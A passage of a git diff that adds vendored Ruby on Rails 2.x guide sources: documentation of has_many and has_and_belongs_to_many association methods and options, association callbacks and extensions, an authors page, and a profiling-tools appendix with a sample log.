cancelled. + +If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. + +If you want to assign an object to a +has_one+ association without saving the object, use the +association.build+ method. + +=== The has_many Association + +The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class. + +==== Methods Added + +When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association: + +* +_collection_(force_reload = false)+ +* +_collection_<<(object, ...)+ +* +_collection_.delete(object, ...)+ +* +_collection_=objects+ +* +_collection\_singular_\_ids+ +* +_collection\_singular_\_ids=ids+ +* +_collection_.clear+ +* +_collection_.empty?+ +* +_collection_.size+ +* +_collection_.find(...)+ +* +_collection_.exist?(...)+ +* +_collection_.build(attributes = {}, ...)+ +* +_collection_.create(attributes = {})+ + +In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection\_singular_+ is replaced with the singularized version of that symbol.. For example, given the declaration: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders +end +------------------------------------------------------- + +Each instance of the customer model will have these methods: + +[source, ruby] +------------------------------------------------------- +orders(force_reload = false) +orders<<(object, ...) +orders.delete(object, ...) +orders=objects +order_ids +order_ids=ids +orders.clear +orders.empty? +orders.size +orders.find(...) +orders.exist?(...) +orders.build(attributes = {}, ...) +orders.create(attributes = {}) +------------------------------------------------------- + +===== +_collection_(force_reload = false)+ + +The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. + +[source, ruby] +------------------------------------------------------- +@orders = @customer.orders +------------------------------------------------------- + +===== +_collection_<<(object, ...)+ + +The +_collection_<<+ method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model. + +[source, ruby] +------------------------------------------------------- +@customer.orders << @order1 +------------------------------------------------------- + +===== +_collection_.delete(object, ...)+ + +The +_collection_.delete+ method removes one or more objects from the collection by setting their foreign keys to +NULL+. + +[source, ruby] +------------------------------------------------------- +@customer.orders.delete(@order1) +------------------------------------------------------- + +WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+. + + +===== +_collection_=objects+ + +The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate. + +===== +_collection\_singular_\_ids+ + +The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection. + +[source, ruby] +------------------------------------------------------- +@order_ids = @customer.order_ids +------------------------------------------------------- + +===== +__collection\_singular_\_ids=ids+ + +The +__collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. + +===== +_collection_.clear+ + +The +_collection_.clear+ method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+. + +===== +_collection_.empty?+ + +The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects. + +[source, ruby] +------------------------------------------------------- +<% if @customer.orders.empty? %> + No Orders Found +<% end %> +------------------------------------------------------- + +===== +_collection_.size+ + +The +_collection_.size+ method returns the number of objects in the collection. + +[source, ruby] +------------------------------------------------------- +@order_count = @customer.orders.size +------------------------------------------------------- + +===== +_collection_.find(...)+ + +The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. + +[source, ruby] +------------------------------------------------------- +@open_orders = @customer.orders.find(:all, :conditions => "open = 1") +------------------------------------------------------- + +===== +_collection_.exist?(...)+ + +The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+. + +===== +_collection_.build(attributes = {}, ...)+ + +The +_collection_.build+ method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved. + +[source, ruby] +------------------------------------------------------- +@order = @customer.orders.build({:order_date => Time.now, :order_number => "A12345"}) +------------------------------------------------------- + +===== +_collection_.create(attributes = {})+ + +The +_collection_.create+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object _will_ be saved (assuming that it passes any validations). + +[source, ruby] +------------------------------------------------------- +@order = @customer.orders.create({:order_date => Time.now, :order_number => "A12345"}) +------------------------------------------------------- + +==== Options for has_many + +In many situations, you can use the default behavior for +has_many+ without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a +has_many+ association. For example, an association with several options might look like this: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :dependent => :delete_all, :validate => :false +end +------------------------------------------------------- + +The +has_many+ association supports these options: + +// * +:accessible+ +* +:as+ +* +:class_name+ +* +:conditions+ +* +:counter_sql+ +* +:dependent+ +* +:extend+ +* +:finder_sql+ +* +:foreign_key+ +* +:group+ +* +:include+ +* +:limit+ +* +:offset+ +* +:order+ +* +:primary_key+ +* +:readonly+ +* +:select+ +* +:source+ +* +:source_type+ +* +:through+ +* +:uniq+ +* +:validate+ + +// ===== +:accessible+ +// +// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association. +// +===== +:as+ + +Setting the +:as+ option indicates that this is a polymorphic association, as discussed earlier in this guide. + +===== +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :class_name => "Transaction" +end +------------------------------------------------------- + +===== +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :confirmed_orders, :class_name => "Order", :conditions => "confirmed = 1" +end +------------------------------------------------------- + +You can also set conditions via a hash: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :confirmed_orders, :class_name => "Order", :conditions => { :confirmed => true } +end +------------------------------------------------------- + +If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+. + +===== +:counter_sql+ + +Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. + +NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement. + +===== +:dependent+ + +If you set the +:dependent+ option to +:destroy+, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+. + +NOTE: This option is ignored when you use the +:through+ option on the association. + +===== +:extend+ + +The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide. + +===== +:finder_sql+ + +Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary. + +===== +:foreign_key+ + +By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :foreign_key => "cust_id" +end +------------------------------------------------------- + +TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. + +===== +:group+ + +The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL. + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :line_items, :through => :orders, :group => "orders.id" +end +------------------------------------------------------- + +===== +:include+ + +You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders +end +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end +class LineItem < ActiveRecord::Base + belongs_to :order +end +------------------------------------------------------- + +If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :include => :line_items +end +class Order < ActiveRecord::Base + belongs_to :customer + has_many :line_items +end +class LineItem < ActiveRecord::Base + belongs_to :order +end +------------------------------------------------------- + +===== +:limit+ + +The +:limit+ option lets you restrict the total number of objects that will be fetched through an association. + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :recent_orders, :class_name => "Order", :order => "order_date DESC", :limit => 100 +end +------------------------------------------------------- + +===== +:offset+ + +The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records. + +===== +:order+ + +The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :order => "date_confirmed DESC" +end +------------------------------------------------------- + +===== +:primary_key+ + +By convention, Rails guesses that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option. + +===== +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association. + +===== +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error. + +===== +:source+ + +The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name. + +===== +:source_type+ + +The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association. + +===== +:through+ + +The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed earlier in this guide. + +===== +:uniq+ + +Specify the +:uniq => true+ option to remove duplicates from the collection. This is most useful in conjunction with the +:through+ option. + +===== +:validate+ + +If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. + +==== When are Objects Saved? + +When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. + +If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a +has_many+ association without saving the object, use the +_collection_.build+ method. + +=== The +has_and_belongs_to_many+ Association + +The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes. + +==== Methods Added + +When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association: + +* +_collection_(force_reload = false)+ +* +_collection_<<(object, ...)+ +* +_collection_.delete(object, ...)+ +* +_collection_=objects+ +* +_collection\_singular_\_ids+ +* +_collection\_singular_\_ids=ids+ +* +_collection_.clear+ +* +_collection_.empty?+ +* +_collection_.size+ +* +_collection_.find(...)+ +* +_collection_.exist?(...)+ +* +_collection_.build(attributes = {})+ +* +_collection_.create(attributes = {})+ + +In all of these methods, +_collection_+ is replaced with the symbol passed as the first argument to +has_many+, and +_collection_\_singular+ is replaced with the singularized version of that symbol.. For example, given the declaration: + +[source, ruby] +------------------------------------------------------- +class Part < ActiveRecord::Base + has_and_belongs_to_many :assemblies +end +------------------------------------------------------- + +Each instance of the part model will have these methods: + +[source, ruby] +------------------------------------------------------- +assemblies(force_reload = false) +assemblies<<(object, ...) +assemblies.delete(object, ...) +assemblies=objects +assembly_ids +assembly_ids=ids +assemblies.clear +assemblies.empty? +assemblies.size +assemblies.find(...) +assemblies.exist?(...) +assemblies.build(attributes = {}, ...) +assemblies.create(attributes = {}) +------------------------------------------------------- + +===== Additional Column Methods + +If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes. + +WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+. + + +===== +_collection_(force_reload = false)+ + +The +_collection_+ method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array. + +[source, ruby] +------------------------------------------------------- +@assemblies = @part.assemblies +------------------------------------------------------- + +===== +_collection_<<(object, ...)+ + +The +_collection_<<+ method adds one or more objects to the collection by creating records in the join table. + +[source, ruby] +------------------------------------------------------- +@part.assemblies << @assembly1 +------------------------------------------------------- + +NOTE: This method is aliased as +_collection_.concat+ and +_collection_.push+. + +===== +_collection_.delete(object, ...)+ + +The +_collection_.delete+ method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects. + +[source, ruby] +------------------------------------------------------- +@part.assemblies.delete(@assembly1) +------------------------------------------------------- + +===== +_collection_=objects+ + +The +_collection_=+ method makes the collection contain only the supplied objects, by adding and deleting as appropriate. + +===== +_collection\_singular_\_ids+ + +# Returns an array of the associated objects' ids + +The +_collection\_singular_\_ids+ method returns an array of the ids of the objects in the collection. + +[source, ruby] +------------------------------------------------------- +@assembly_ids = @part.assembly_ids +------------------------------------------------------- + +===== +_collection\_singular_\_ids=ids+ + +The +_collection\_singular_\_ids=+ method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. + +===== +_collection_.clear+ + +The +_collection_.clear+ method removes every object from the collection by deleting the rows from the joining tableassociation. This does not destroy the associated objects. + +===== +_collection_.empty?+ + +The +_collection_.empty?+ method returns +true+ if the collection does not contain any associated objects. + +[source, ruby] +------------------------------------------------------- +<% if @part.assemblies.empty? %> + This part is not used in any assemblies +<% end %> +------------------------------------------------------- + +===== +_collection_.size+ + +The +_collection_.size+ method returns the number of objects in the collection. + +[source, ruby] +------------------------------------------------------- +@assembly_count = @part.assemblies.size +------------------------------------------------------- + +===== +_collection_.find(...)+ + +The +_collection_.find+ method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection. + +[source, ruby] +------------------------------------------------------- +@new_assemblies = @part.assemblies.find(:all, :conditions => ["created_at > ?", 2.days.ago]) +------------------------------------------------------- + +===== +_collection_.exist?(...)+ + +The +_collection_.exist?+ method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+. + +===== +_collection_.build(attributes = {})+ + +The +_collection_.build+ method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved. + +[source, ruby] +------------------------------------------------------- +@assembly = @part.assemblies.build({:assembly_name => "Transmission housing"}) +------------------------------------------------------- + +===== +_collection_.create(attributes = {})+ + +The +_collection_.create+ method returns a new object of the associated type. This objects will be instantiated from the passed attributes, the link through the join table will be created, and the associated object _will_ be saved (assuming that it passes any validations). + +[source, ruby] +------------------------------------------------------- +@assembly = @part.assemblies.create({:assembly_name => "Transmission housing"}) +------------------------------------------------------- + +==== Options for has_and_belongs_to_many + +In many situations, you can use the default behavior for +has_and_belongs_to_many+ without any customization. But you can alter that behavior in a number of ways. This section cover the options that you can pass when you create a +has_and_belongs_to_many+ association. For example, an association with several options might look like this: + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :uniq => true, :read_only => true +end +------------------------------------------------------- + +The +has_and_belongs_to_many+ association supports these options: + +// * +:accessible+ +* +:association_foreign_key+ +* +:class_name+ +* +:conditions+ +* +:counter_sql+ +* +:delete_sql+ +* +:extend+ +* +:finder_sql+ +* +:foreign_key+ +* +:group+ +* +:include+ +* +:insert_sql+ +* +:join_table+ +* +:limit+ +* +:offset+ +* +:order+ +* +:readonly+ +* +:select+ +* +:uniq+ +* +:validate+ + +// ===== +:accessible+ +// +// The +:accessible+ option is the association version of +ActiveRecord::Base#attr_accessible+. If you set the +:accessible+ option to true, then mass // assignment is allowed for this association. +// +===== +:association_foreign_key+ + +By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly: + +TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example: + +[source, ruby] +------------------------------------------------------- +class User < ActiveRecord::Base + has_and_belongs_to_many :friends, :class_name => "User", + :foreign_key => "this_user_id", :association_foreign_key => "other_user_id" +end +------------------------------------------------------- + +===== +:class_name+ + +If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way: + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :class_name => "Gadget" +end +------------------------------------------------------- + +===== +:conditions+ + +The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL +WHERE+ clause). + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :conditions => "factory = 'Seattle'" +end +------------------------------------------------------- + +You can also set conditions via a hash: + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :conditions => { :factory => 'Seattle' } +end +------------------------------------------------------- + +If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the factory column has the value "Seattle". + +===== +:counter_sql+ + +Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself. + +NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement. + +===== +:delete_sql+ + +Normally Rails automatically generates the proper SQL to remove links between the associated classes. With the +:delete_sql+ option, you can specify a complete SQL statement to delete them yourself. + +===== +:extend+ + +The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide. + +===== +:finder_sql+ + +Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary. + +===== +:foreign_key+ + +By convention, Rails guesses that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: + +[source, ruby] +------------------------------------------------------- +class User < ActiveRecord::Base + has_and_belongs_to_many :friends, :class_name => "User", + :foreign_key => "this_user_id", :association_foreign_key => "other_user_id" +end +------------------------------------------------------- + +===== +:group+ + +The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL. + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :group => "factory" +end +------------------------------------------------------- + +===== +:include+ + +You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. + +===== +:insert_sql+ + +Normally Rails automatically generates the proper SQL to create links between the associated classes. With the +:insert_sql+ option, you can specify a complete SQL statement to insert them yourself. + +===== +:join_table+ + +If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default. + +===== +:limit+ + +The +:limit+ option lets you restrict the total number of objects that will be fetched through an association. + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :order => "created_at DESC", :limit => 50 +end +------------------------------------------------------- + +===== +:offset+ + +The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 10 records. + +===== +:order+ + +The +:order+ option dictates the order in which associated objects will be received (in the syntax used by a SQL +ORDER BY+ clause). + +[source, ruby] +------------------------------------------------------- +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :order => "assembly_name ASC" +end +------------------------------------------------------- + +===== +:readonly+ + +If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association. + +===== +:select+ + +The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +===== +:uniq+ + +Specify the +:uniq => true+ option to remove duplicates from the collection. + +===== +:validate+ + +If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved. + +==== When are Objects Saved? + +When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled. + +If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the +_collection_.build+ method. + +=== Association Callbacks + +Normal callbacks hook into the lifecycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved. + +Association callbacks are similar to normal callbacks, but they are triggered by events in the lifecycle of a collection. There are four available association callbacks: + +* +before_add+ +* +after_add+ +* +before_remove+ +* +after_remove+ + +You define association callbacks by adding options to the association declaration. For example: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :before_add => :check_credit_limit + + def check_credit_limit(order) + ... + end +end +------------------------------------------------------- + +Rails passes the object being added or removed to the callback. + +You can stack callbacks on a single event by passing them as an array: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :before_add => [:check_credit_limit, :calculate_shipping_charges] + + def check_credit_limit(order) + ... + end + + def calculate_shipping_charges(order) + ... + end +end +------------------------------------------------------- + +If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection. + +=== Association Extensions + +You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders do + def find_by_order_prefix(order_number) + find_by_region_id(order_number[0..2]) + end + end +end +------------------------------------------------------- + +If you have an extension that should be shared by many associations, you can use a named extension module. For example: + +[source, ruby] +------------------------------------------------------- +module FindRecentExtension + def find_recent + find(:all, :conditions => ["created_at > ?", 5.days.ago]) + end +end + +class Customer < ActiveRecord::Base + has_many :orders, :extend => FindRecentExtension +end + +class Supplier < ActiveRecord::Base + has_many :deliveries, :extend => FindRecentExtension +end +------------------------------------------------------- + +To include more than one extension module in a single association, specify an array of names: + +[source, ruby] +------------------------------------------------------- +class Customer < ActiveRecord::Base + has_many :orders, :extend => [FindRecentExtension, FindActiveExtension] +end +------------------------------------------------------- + +Extensions can refer to the internals of the association proxy using these three accessors: + +* +proxy_owner+ returns the object that the association is a part of. +* +proxy_reflection+ returns the reflection object that describes the association. +* +proxy_target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+. + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/11[Lighthouse ticket] + +* September 28, 2008: Corrected +has_many :through+ diagram, added polymorphic diagram, some reorganization by link:../authors.html#mgunderloy[Mike Gunderloy] . First release version. +* September 22, 2008: Added diagrams, misc. cleanup by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) +* September 14, 2008: initial version by link:../authors.html#mgunderloy[Mike Gunderloy] (not yet approved for publication) diff --git a/vendor/rails/railties/doc/guides/source/authors.txt b/vendor/rails/railties/doc/guides/source/authors.txt new file mode 100644 index 00000000..94dfc4db --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/authors.txt @@ -0,0 +1,39 @@ +About the Authors +================= + +.Frederick Cheung +[[fcheung]] +*********************************************************** +Frederick Cheung is Chief Wizard at Texperts where he has been using Rails since 2006. +He is based in Cambridge (UK) and when not consuming fine ales he blogs at http://www.spacevatican.org[spacevatican.org]. +*********************************************************** + +.Mike Gunderloy +[[mgunderloy]] +*********************************************************** +Mike Gunderloy is an independent consultant who brings 25 years of experience in a variety of languages to bear on his current +work with Rails. His near-daily links and other blogging can be found at http://afreshcup.com[A Fresh Cup]. +*********************************************************** + +.Emilio Tagua +[[miloops]] +*********************************************************** +Emilio Tagua -- a.k.a. miloops -- is an Argentinian entrepreneur, developer, open source contributor and Rails evangelist. +Cofounder of http://www.eventioz.com[Eventioz]. He has been using Rails since 2006 and contributing since early 2008. +Can be found at gmail, twitter, freenode, everywhere as miloops. +*********************************************************** + +.Heiko Webers +[[hawe]] +*********************************************************** +Heiko Webers is the founder of http://www.bauland42.de[bauland42], a German web application security consulting and development +company focused on Ruby on Rails. He blogs at http://www.rorsecurity.info. After 10 years of desktop application development, +Heiko has rarely looked back. +*********************************************************** + +.Tore Darell +[[toretore]] +*********************************************************** +Tore Darell is an independent developer based in Menton, France who specialises in cruft-free web applications using Ruby, Rails +and unobtrusive JavaScript. His home on the internet is his blog http://tore.darell.no/[Sneaky Abstractions]. +*********************************************************** diff --git a/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt new file mode 100644 index 00000000..8e2e383f --- /dev/null +++ b/vendor/rails/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt @@ -0,0 +1,95 @@ +== Other Profiling Tools == + +There are a lot of great profiling tools out there. Some free, some not so free. This is a sort list detailing some of them. + +=== httperf === +http://www.hpl.hp.com/research/linux/httperf/[http://www.hpl.hp.com/research/linux/httperf/] + +A necessary tool in your arsenal. Very useful for load testing your website. + +#TODO write and link to a short article on how to use httperf. Anybody have a good tutorial availble. + + +=== Rails Analyzer === + +The Rails Analyzer project contains a collection of tools for Rails. It's open source and pretty speedy. It's not being actively worked on but is still contains some very useful tools. + +* The Production Log Analyzer examines Rails log files and gives back a report. It also includes action_grep which will give you all log results for a particular action. + +* The Action Profiler similar to Ruby-Prof profiler. + +* rails_stat which gives a live counter of requests per second of a running Rails app. + +* The SQL Dependency Grapher allows you to visualize the frequency of table dependencies in a Rails application. + +Their project homepage can be found at http://rails-analyzer.rubyforge.org/[http://rails-analyzer.rubyforge.org/] + +The one major caveat is that it needs your log to be in a different format from how rails sets it up specifically SyslogLogger. + + +==== SyslogLogger ==== + +SyslogLogger is a Logger work-alike that logs via syslog instead of to a file. You can add SyslogLogger to your Rails production environment to aggregate logs between multiple machines. + +More information can be found out at http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html[http://rails-analyzer.rubyforge.org/hacks/classes/SyslogLogger.html] + +If you don't have access to your machines root system or just want something a bit easier to implement there is also a module developed by Geoffrey Grosenbach + +==== A Hodel 3000 Compliant Logger for the Rest of Us ==== + +Directions taken from +http://topfunky.net/svn/plugins/hodel_3000_compliant_logger/lib/hodel_3000_compliant_logger.rb[link to module file] + +Just put the module in your lib directory and add this to your environment.rb in it's config portion. + +------------------------------------------------------------ +require 'hodel_3000_compliant_logger' +config.logger = Hodel3000CompliantLogger.new(config.log_path) +------------------------------------------------------------- + +It's that simple. Your log output on restart should look like this. + +.Hodel 3000 Example +---------------------------------------------------------------------------- +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: +Parameters: {"action"=>"shipping", "controller"=>"checkout"} +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  +[4;36;1mBook Columns (0.003155) SHOW FIELDS FROM `books` +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  +[4;35;1mBook Load (0.000881) SELECT * FROM `books` WHERE (`books`.`id` = 1 AND (`books`.`sold` = 1))  +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  +[4;36;1mShippingAddress Columns (0.002683) SHOW FIELDS FROM `shipping_addresses` +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  +[4;35;1mBook Load (0.000362) SELECT ounces FROM `books` WHERE (`books`.`id` = 1)  +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: +Rendering template within layouts/application +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: +Rendering checkout/shipping +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  +[4;36;1mBook Load (0.000548) SELECT * FROM `books` +WHERE (sold = 0) LIMIT 3 +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]:  +[4;35;1mAuthor Columns (0.002571) SHOW FIELDS FROM `authors` +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: +Author Load (0.000811) SELECT * FROM `authors` WHERE (`authors`.`id` = 1)  +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: +Rendered store/_new_books (0.01358) +Jul 15 11:45:43 matthew-bergmans-macbook-pro-15 rails[16207]: +Completed in 0.37297 (2 reqs/sec) | Rendering: 0.02971 (7%) | DB: 0.01697 (4%) | 200 OK [https://secure.jeffbooks/checkout/shipping] +---------------------------------------------------------------------------- + +=== Palmist === +An open source mysql query analyzer. Full featured and easy to work with. Also requires Hodel 3000 +http://www.flyingmachinestudios.com/projects/[http://www.flyingmachinestudios.com/projects/] + +=== New Relic === +http://www.newrelic.com/[http://www.newrelic.com/] + +Pretty nifty performance tools, pricey though. They do have a basic free +service both for when in development and when you put your application into production. Very simple installation and signup. + +#TODO more 